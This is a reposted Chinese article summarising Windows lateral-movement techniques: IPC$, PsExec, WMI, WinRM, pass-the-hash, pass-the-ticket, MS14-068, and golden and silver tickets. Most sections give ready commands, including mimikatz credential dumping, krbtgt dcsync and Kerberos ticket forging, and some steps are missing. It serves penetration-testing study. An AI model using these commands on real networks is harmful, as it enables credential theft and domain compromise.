本文转载自微信公众号「Bypass」,可以通过以下二维码关注。转载本文请联系Bypass公众号。
攻击者借助跳板机进一步入侵内网服务器后,接着会通过各种方式来获取目标系统权限,获取用户的明文密码或Hash值在内网中横向移动。
最简单的方式,就是使用明文密码进行登录远程服务器。在这里,我们来总结一下Windows横向移动的思路与攻击手法。
1. IPC连接
通过验证用户名和密码建立与目标机器的IPC$会话连接,查看远程主机的共享资源,执行上传/下载,创建计划任务等操作。
- net use \\<DC的IP>\ipc$ "password" /user:"username"
2. PsExec
PsExec是一个轻量级的telnet替代品,它允许您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
返回一个交互式shell:
- psexec.exe \\10.1.1.1 -u administrator -p abc123! cmd.exe
同时,Metasploit下也集成了PsExec模块。
3. WMI
WMI即Windows管理规范 是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。
远程创建进程:
- wmic /node:10.1.1.1 /user:administrator /password:abc123! process call create "cmd.exe /c ipconfig"
4. WinRM
WinRM指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)&5986 (HTTPS),在2012以后默认开启。
- winrs -r:http://10.1.1.1:5985 -u:administrator -p:abc123! "whoami /all"
5. 哈希传递攻击(Pass the hash)
获取目标用户的哈希,攻击者就可以使用用户的哈希来来模拟用户,获取用户访问权限。
MSF 提供了psexec模块可以进行Hash传递,只使用密码哈希,来执行任意命令:
6. 票据传递攻击(Pass the ticket)
获取域控权限后,就可以导出域控内存中的Ticket,用来登录域控。
攻击流程:
第一步:使用mimikatz导出内存中的ticket
- mimikatz# sekurlsa::tickets /export
第二步:挑选一个文件,在普通用户的主机进行导入。
第三步:获取域控权限
7. MS14-068
MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。前提是需要在域控主机查看是否安装了KB3011780补丁。
攻击流程:
第一步:利用MS14-068伪造生成TGT
- MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d dc.test.com
第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书
- mimikatz#kerberos::ptc TGT_bypass@test.com.ccache
第三步:获取权限
- PsExec.exe \\dc cmd.exe
8. 黄金票据(Golden Ticket)
黄金票据的原理就是用krbtgt的hash来伪造TGT,只要拥有了高权限的TGT,就可以发送给TGS换取任意服务的ST。
第一步:获取krbtgt的SID和哈希
通过mimikatz命令直接获取krbtgt的SID值和哈希值。
- lsadump::dcsync /domain:test.com /user:krbtgt
第二步:伪造黄金票据
使用mimikatz伪造TGT
- kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /krbtgt:dc717a226a07d0f6adbcd9c0337c6513 /ticket:golden.kiribi
第三步:获取权限
清空本地票据缓存,导入伪造的黄金票据。
- kerberos::list #查看本地保存的票据
- kerberos::purge #清空本地票据缓存
- kerberos::ptt golden.kiribi #导入伪造的黄金票据
- kerberos::list #重新查看本地保存的票据
第四步:利用伪造的黄金票据
直接利用PsExec.exe来远程登录和执行命令
- PsExec.exe \\dc cmd.exe
9. 白银票据(Silver Tickets)
白银票据(Silver Tickets)的原理是伪造 ST(Service Ticket),因此无需经过KDC,直接使用用户账户的hash进行加密,就可以获取指定的访问权限。
伪造的票据只对部分服务起作用,可以利用的服务有以下几种:
第一步:构建场景
同一个域控下的两台主机,使用文件共享方式来访问win-server的文件,提示“拒绝访问”。
第二步 获取NTLM HASH
登录win-server 服务器,使用mimikatz导出hash
- mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
第三步:伪造票据
第四步:访问共享文件
- kerberos::golden /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /rc4:943434a10b5134c0b1ef5e8f1ef9b020 /user:test /service:cifs /target:win-server.test.com /ptt